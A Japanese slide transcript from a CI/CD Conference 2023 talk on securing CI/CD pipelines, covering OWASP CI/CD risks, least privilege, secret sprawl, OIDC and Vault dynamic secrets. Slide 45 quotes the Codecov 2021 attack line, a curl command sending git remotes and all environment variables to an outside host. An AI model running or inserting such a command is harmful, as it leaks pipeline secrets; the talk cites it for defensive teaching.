自分のデータは自分で守る - あなたのCI/CDパイプラインをセキュアにする処方箋

CI/CD Conference 2023で発表した資料です。セッション動画の視聴はこちら
https://event.cloudnativedays.jp/cicd2023/talks/1760

Transcript

1. 自分のデータは
   自分で守る
   あなたのCI/CDパイプラインをセキュアにする処方箋
   

   View Slide

2. Kazuto Kusama
   @jacopen
   Senior Solutions Engineer @HashiCorp Japan
   Co-Chair @CloudNative Days
   Organizer @PaaSJP
   Organizer @Platform Engineering Meetup
   

   View Slide

3. 何をするにもCI/CD無しには語れない時代になりました
   

   View Slide

4. CI/CDはDevOpsやCloud Native技術の根幹
   Dev Ops
   Configure
   Verify Package Plan Monitor
   Release
   Create Plan
   

   View Slide

5. 9/10
   Web アプリケーション
   への侵害のうち、クレ
   デンシャルに起因する
   もの
   過去2年間における
   データ侵害の増加率
   セキュリティ侵害のう
   ち、人的要素が関与し
   ているもの
   380% 82%
   セキュリティ侵害に関するデータ
   

   View Slide

6. CI/CDのセキュリティは難しい
   Dev
   Code
   Repository
   CI/CD
   

   View Slide

7. CI/CDのセキュリティは難しい
   Dev
   Code
   Repository
   CI/CD
   クライアントサイドへの攻撃
   サプライチェーンへの攻撃
   ツールへの攻撃 サーバーサイドへの攻撃
   対処しなければならない場所が多い
   

   View Slide

8. CI/CDのセキュリティは難しい
   Dev
   Code
   Repository
   CI/CD
   クライアントサイドへの攻撃
   サプライチェーンへの攻撃
   ツールへの攻撃 サーバーサイドへの攻撃
   CI/CDツールは
   本番環境にアクセスしやすい
   

   View Slide

9. 外部サービスからの流出
   

   View Slide

10. CI/CDのセキュリティは難しい
    Dev
    Code
    Repository
    CI/CD
    ツールへの攻撃
    本番環境が直接危機にさらされる
    ここをやられたので
    

    View Slide

11. 責任の主体
    やらかしたのがSaaS側であっても、
    エンドユーザーに発生した被害の責任は自分でとらなくてはいけません。
    

    View Slide

12. こういうときに絶対にやってはいけない対処
    

    View Slide

13. 問題のある対処
    利用している○○のSaaSでセキュリティインシデントがおきました
    ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました！
    

    View Slide

14. 問題のある対処
    利用している○○のSaaSでセキュリティインシデントがおきました
    ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました！
    何も解決していない！
    

    View Slide

15. 問題の本質はどこにあるか
    ● SaaSでセキュリティインシデントが起きたことは事実として･･･
    ○ 何故シークレットが漏れて問題になったか
    ■ シークレットを持たせる必要はあったか
    ■ 漏れても影響の少ないシークレットに出来なかったか
    ■ 漏れても問題がないように出来なかったか
    ○ 漏れないような管理は本当に不可能だったのか
    

    View Slide

16. 問題の本質はどこにあるか
    ● SaaSでセキュリティインシデントが起きたことは事実として･･･
    ○ 何故シークレットが漏れて問題になったか
    ■ シークレットを持たせる必要はあったか
    ■ 漏れても影響の少ないシークレットに出来なかったか
    ■ 漏れても問題がないように出来なかったか
    ○ 漏れないような管理は本当に不可能だったのか
    このあたりの深掘りが出来ていないと、結局乗り換え先でまたインシ
    デントが起きたときに同じことを繰り返す
    

    View Slide

17. 既存のフレームワークを活用して対策していく
    

    View Slide

18. サイバー攻撃の構図
    (Mitre ATT&CK Framework)
    MITRE ATT&CKで始める脅威ベースのセキュリティ対策入門（ 1）
    https://atmarkit.itmedia.co.jp/ait/articles/2207/21/news003.html
    

    View Slide

19. … より強いレベ
    ルの権限を取
    得
    Privilege
    Escalation
    Credential
    Access
    … アカウントの
    ユーザ名やパス
    ワードを盗難
    Lateral
    Movement
    … 自社の環境内
    で横断的な活動
    … データを盗難
    Exfiltration
    Initial
    Access
    アタッカーが自
    社のネットワー
    クにアクセス
    サイバー攻撃の構図　(Mitre ATT&CK Framework)
    

    View Slide

20. OWASP Top 10 CI/CD Security Risks
    https://owasp.org/www-project-top-10-ci-cd-security-risks/
    

    View Slide

21. 今回は、シークレットの管理を中心に話します
    

    View Slide

22. … より強いレベ
    ルの権限を取
    得
    Privilege
    Escalation
    Credential
    Access
    … アカウントの
    ユーザ名やパス
    ワードを盗難
    Lateral
    Movement
    … 自社の環境内
    で横断的な活動
    … データを盗難
    Exfiltration
    Initial
    Access
    アタッカーが自
    社のネットワー
    クにアクセス
    サイバー攻撃の構図　(Mitre ATT&CK Framework)
    

    View Slide

23. 次の時間帯のセッションも併せて見てみるといいかも
    

    View Slide

24. 全体方針
    大原則: セキュリティリスクを許容範囲なレベルまで減らす
    大方針: 全てのシークレットを正しく管理下に置く
    正しい管理とは:
    - 保存場所の管理
    - 権限の管理
    - 期間の管理
    - ログの管理
    

    View Slide

25. CIとCDの流れ
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    

    View Slide

26. CIとCDの流れ
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    最終的にはここの
    権限を奪うのが目標
    

    View Slide

27. パイプラインごとにいろんな権限が必要にな
    るから、広めの権限を与えておこう
    

    View Slide

28. CICD-SEC-2 不十分な ID およびアクセス管理
    過度に寛容な ID
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    なんでも出来るID
    クラウド上でやりたい
    放題
    

    View Slide

29. CICD-SEC-2 不十分な ID およびアクセス管理
    過度に寛容な ID
    対策: 最小権限の原則
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    Deliveryに必要な最小
    権限のみを付与する。
    違うパイプラインには
    違う権限を付与する
    

    View Slide

30. シークレットをリポジトリに入れるのは良く
    ないけど、プライベートだからセーフでしょ
    

    View Slide

31. CICD-SEC-6 不十分な認証情報衛生
    認証情報を含むコードが
    SCM リポジトリのブランチの一つに
    プッシュされている
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    

    View Slide

32. Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    誤ってパブリックリポ
    ジトリにfork
    悪意のある内部の人間
    がリポジトリを閲覧
    (検出が困難)
    サプライチェーン攻撃
    でリポジトリ内の
    シークレットを取得
    

    View Slide

33. 実際の攻撃事例
    Uber(2016): GitHubのPrivate Repositoryに保存していたAWSキーを悪用され、
    S3に不正アクセスされたことにより数百万の顧客情報が流出
    Samsung(2019): 自前で運用していたGitLabのリポジトリが、設定漏れによりパ
    ブリックに公開され、その中のAWSキーが流出。ログや分析データの入った100
    以上のS3 Bucketにアクセス可能に
    その他多数の事例あり
    

    View Slide

34. Kubernetesの場合特に注意
    gitops
    安易なGitOpsの実現のため、SecretをManifest Repositoryに入れてしまう
    apiVersion: v1
    kind: Secret
    metadata:
    name: creds
    data:
    password: cEBzc3cwcmQ=
    username: YWRtaW4=
    ただのbase64
    エンコードなので、
    平文と同じ
    

    View Slide

35. CICD-SEC-6 不十分な認証情報衛生
    認証情報を含むコードが
    SCM リポジトリのブランチの一つに
    プッシュされている
    対策: リポジトリに入れない。
    シークレットマネージャの活用
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    安全に管理されたSecret
    manager上に集中管理
    

    View Slide

36. とりあえず使いやすい場所に
    シークレットを入れておこう
    

    View Slide

37. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    

    View Slide

38. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    様々な場所にキーが散ら
    ばって管理されている
    Secret Sprawl
    デフォルト設定のまま
    シークレットストアに
    管理されている
    

    View Slide

39. その置き場所、安全ですか？
    置き場所が散らばることによるリスク
    ● 散らばったシークレットを管理していくことは困難
    ● 有効期限の長いシークレットが放置されてしまう
    ● アクセス制御やロギングが備わっていない場所も多い
    ○ 有効期限が無限に設定されているクラウドのシークレットが、アクセス制御やログ
    が取られていない環境から盗まれたとしたら、どうやって気づく？
    シークレットストアをデフォルト設定で使うリスク
    ● デフォルト設定では細かなアクセス制御がなされてないことが多い
    ● ブランチや環境が異なっても同じシークレットにアクセスが出来てしまう
    

    View Slide

40. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    対策: 適切な構成
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    適切なチームと
    ロールの設定
    GitHub Actions
    Secretsの利用
    Deployment
    Environments
    の活用
    

    View Slide

41. CICD-SEC-7 安全でないシステム構成
    システム構成が安全でないシステム
    対策: シークレットマネージャの活用
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    安全に管理されたSecret
    manager上に集中管理
    

    View Slide

42. CIのパイプラインでそのままCDもしちゃおう
    

    View Slide

43. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    CIもCDも、全部
    同じパイプラインで
    やっている
    

    View Slide

44. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    悪意のある
    ForkからのPR
    不十分なアクセス
    制御による改変
    サプライチェーン
    への攻撃
    

    View Slide

45. 実際の攻撃事例
    Codecov(2021): カバレッジ計測のためのツールに、以下のようなコードが追加
    される
    curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https://IPADDRESS/upload/v2 || true
    Gitのリポジトリと環境変数が送信されるようになっていた
    => 環境変数内にシークレットが含まれていた場合は漏洩してしまう。
    セルフホストのCIツールやRunnerを使っていても同様に影響を受けてしまう
    

    View Slide

46. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    対策:
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    適切なアクセス制御
    適切なレビュー
    実行環境の隔離
    SBOM
    

    View Slide

47. CICD-SEC-3 依存チェーンの悪用
    CICD-SEC-4 有害なパイプライン実行
    CICD-SEC-5 不十分なパイプラインベースのアクセス制御
    対策: CIとCDの環境を分離
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    CDは本番環境に直接の
    権限を持っているた
    め、分離しておく
    CIで必要な権限だけを
    持たせる
    

    View Slide

48. たとえば
    CI
    CD
    

    View Slide

49. CI/CDで使うクラウドのキーは、一度作成した
    らあとはシークレットストアに置いておくだけ
    

    View Slide

50. CICD-SEC-6 不十分な認証情報衛生
    ローテーションされない認証情報
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    2年前
    1年前
    2年前
    3年前
    1年前
    『壊れていない限りは手を入れなく
    て良い』の考えのもと、同じシーク
    レットを使い続けてしまう
    結果として有効なキーを所持する人
    ・システムが増え続け、漏洩の危険
    性が飛躍的に高まっていく。
    

    View Slide

51. 外部サービスからの流出
    ローテーションされていないシークレット
    は、大規模な流出事故で漏れ出す可能性があ
    るほか、知らないうちに知らない場所から漏
    れる可能性もある。
    事故が発覚した場合、多大な時間を割いて
    シークレットの棚卸しとローテーションを行
    う必要がある。
    例えばこういう漏洩事故が起きたとしても、
    そのキーが数分間しか有効ではない場合は、
    リスクを大きく低減することができる。
    

    View Slide

52. CICD-SEC-6 不十分な認証情報衛生
    ローテーションされない認証情報
    対策: キーレスの活用
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    クラウド側とOIDCで
    信頼関係を確立し、
    静的なキー無しでも
    デプロイできるようにする
    

    View Slide

53. CICD-SEC-6 不十分な認証情報衛生
    ローテーションされない認証情報
    対策: 動的シークレットの実践
    Dev
    Code
    Repository
    CI CD
    開発環境
    ステージング
    本番
    必要な時に、必要なキーを
    ジャストインタイムで発行
    させる。
    不要になったら、明示的 or
    自動的に削除する
    

    View Slide

54. 動的シークレット
    シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的
    なシークレットを発行し、クライアントに返す。
    ①キーをリクエスト
    AWSのIAMキーが
    欲しい
    CIに使うのでMySQL
    のUser/Passが欲しい
    

    View Slide

55. 動的シークレット
    シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的
    なシークレットを発行し、クライアントに返す。
    ②対象に対してユーザーや
    キーを発行
    

    View Slide

56. 動的シークレット
    シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的
    なシークレットを発行し、クライアントに返す。
    ③クライアントにキーを渡す
    

    View Slide

57. 動的シークレット
    クライアントがRevokeを指示した場合、Vaultはそのシークレットを消す
    revoke
    使い終わったから
    もう要らない
    対象のキーを削除
    

    View Slide

58. 動的シークレット
    作成したシークレットには必ず生存期間(TTL)が設定されており、期限が切れたら
    自動的にVaultが消してくれる。なので、明示的に消しに行かなくても安全性が保
    たれる
    対象のキーを削除
    TTLを超える
    

    View Slide

59. シークレットエンジン
    AWS Secret Engine / Azure Secret Engine / Google Cloud Secret Engine
    各クラウドプロバイダーのアクセスキーを動的に作成できる仕組み。AWSなら
    IAMキー、Google CloudならService Accountなど
    Database Secret Engine
    さまざまなデータベースのユーザー/パスワードを動的に作成出来る。
    MySQL,PostgreSQL,Oracle,SQL Server, MongoDB, Cassandra, Elasticsearch,
    Redisなどなど
    SSH Secret Engine
    OTP認証やSSH証明書認証を利用してSSHの認証を動的に行う
    Vault Plugin for Gitlab Project Access Token (community)
    Vault Plugin Secrets GitHub (community)
    GitHubやGitLabのTokenを動的に作成する
    

    View Slide

60. まとめ
    ● CI/CDのセキュリティは非常に難しい。しかし最善を尽くさないといけ
    ない
    ● やらかしたのが自分でなくても、エンドユーザーに発生した被害の責任
    は自分でとらないといけない
    ● CI/CD潜むさまざまなリスクを洗い出し、許容可能なレベルに下げてい
    く取り組みが必要
    ● CI/CDにおけるシークレット管理はそのうちの一つ
    ● 保存場所、権限、期間、ログなどを適切に管理し、リスクを下げていくこと
    が重要
    

    View Slide